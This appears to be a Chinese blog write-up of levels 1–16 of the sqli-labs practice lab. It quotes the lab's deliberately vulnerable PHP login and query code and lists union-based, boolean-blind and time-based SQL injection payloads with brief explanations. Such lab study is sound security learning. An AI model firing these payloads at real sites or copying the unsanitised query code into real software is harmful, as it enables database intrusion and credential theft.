sqli-lab 1-16通关随笔记

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

SQL注入学习 sqli -labs靶场通关 1~16


前段时间大概学了一遍内网,免杀正好来将web这块重新复习一遍
由于是直接刷关所以只是让关卡报出注入点其余的都没搞。


首先明确SQL注入产生的原理是传递结构化语言时影响了数据库的执行叫做SQL注入。

GET注入

1~4关

这些关卡都是统一的get型注入而且都是通过联合查询的

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "";
  	echo 'Your Login name:'. $row['username'];
  	echo "
"
; echo 'Your Password:' .$row['password']; echo "
"; } else { echo ''; print_r(mysql_error()); echo ""; } } else { echo "Please input the ID as parameter with numeric value";} ?>

代码中通过mysql_query()和mysql_fetch_array()这两个函数先执行查询语句然后再将同一行的数据以数组形式输出,调用数据库列名称来呈现查询结果而mysql_error()这个函数的作用是输出mysql数据库报错的信息这也是做联合查询时的一个重要依据。

payload:

id=1' and 1=2 union select 1,2,3 --+

sqli-lab 1-16通关随笔记_第1张图片
payload:

id=-1 union select 1,2,3

sqli-lab 1-16通关随笔记_第2张图片
payload:

id=-1') union select 1,2,3 --+

sqli-lab 1-16通关随笔记_第3张图片
payload:

id=-1") union select 1,2,3 --+

sqli-lab 1-16通关随笔记_第4张图片

5~8关

这几个关卡则是boolean型的盲注,盲注的意思是存在注入但是注入结果并不会返回到前端,而利用辅助手段帮助我们索引的过程叫盲注。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '';	
  	echo 'You are in...........';
  	echo "
"
; echo "
"; } else { echo ''; //echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "
"; echo ''; } }

这里面并没有出现新的函数就像上面所说与1~4关的区别就是没有结果返回到前端。

payload:

id=1' and length(database())>1 --+

sqli-lab 1-16通关随笔记_第5张图片
payload:

id=1" and length(database())>1 --+

sqli-lab 1-16通关随笔记_第6张图片
payload:

id=1')) and length(database())>1 --+

sqli-lab 1-16通关随笔记_第7张图片
payload:

id=1'  and length(database())>1 --+

sqli-lab 1-16通关随笔记_第8张图片
在这里第5关和第8关的注入payload相同但是他们的源码不太一样

//第五关源码
	{
  	echo '';	
  	echo 'You are in...........';
  	echo "
"
; echo "
"; } else { echo ''; print_r(mysql_error()); echo "
"; echo ''; } } //第八关源码 { echo ''; echo 'You are in...........'; echo "
"
; echo "
"; } else { echo ''; //echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "
"; echo ''; } }

可以看到在代码中执行else时第五关会将mysql报错信息打印出来而第八关则是返回空也就是说第五关并不算是完全的布尔盲注。


9~10关

延时注入,这一类与布尔注入一样都是属于盲注的一种但是对比起布尔盲注来说延时注入就多了if()和sleep()这两个函数
payload:

id=1' and if(length(dabase())>1,sleep(5),1) --+  //这里的1是用于占位

sqli-lab 1-16通关随笔记_第9张图片
sleep()函数的含义为睡眠,sleep(5)就是睡眠5秒而payload的含义就是睡眠5秒后返回数据
如图:
sqli-lab 1-16通关随笔记_第10张图片
与布尔盲注和联合查询相比延时注入算是最耗费时间的注入方法,并且延时注入容易受到网络环境的影响。


POST注入

与GET型注入不同的地方就是POST注入一般要通过post请求去发送数据包然后是在数据包中去修改注入参数在数据包中找注入点,GET型注入则直接可以通过url来实现注入且数据包也是get请求发送的数据包,还有就是post注入可以通过溢出去绕过WAF,其余的则是相同的。

11~12关

if(isset($_POST['uname']) && isset($_POST['passwd']))
{
	$uname=$_POST['uname'];
	$passwd=$_POST['passwd'];

	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Name:'.$uname);
	fwrite($fp,'Password:'.$passwd."\n");
	fclose($fp);


	// connectivity 
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);

	if($row)
	{
  		//echo '';	
  		
  		echo "
"
; echo ''; //echo " You Have successfully logged in\n\n " ; echo ''; echo "
"
; echo 'Your Login name:'. $row['username']; echo "
"
; echo 'Your Password:' .$row['password']; echo "
"
; echo "
"; echo "
"
; echo "
"
; echo ''; echo "
"; } else { echo ''; //echo "Try again looser"; print_r(mysql_error()); echo "
"
; echo "
"
; echo "
"
; echo ''; echo "
"; } }

在代码中主要是将输入的username和password放进数据库里对比如果对比下来为真则会返回username和password为假则返回空而注入就是出现在这里,这种注入一般来说会存在万能密码
sqli-lab 1-16通关随笔记_第11张图片
这里的11和12关的方法与前面1~4关的方法相同就是请求方式不同


13~16关

这几关的注入方法是延时注入,payload这些都没变
sqli-lab 1-16通关随笔记_第12张图片


总结

这次主要是手工去注入的没有尝试sqlmap工具去跑,在sqlmap中对GET和POST的处理方式也不同顺便我这边自己的盲注exp也没有完善,总的来说这次复习还算可以既复习了原来的知识又学了一点新的知识。
ps:萌新初次写文章有写的不好的地方望师傅斧正,在此感激不尽。

你可能感兴趣的:(web安全,web安全,安全,php)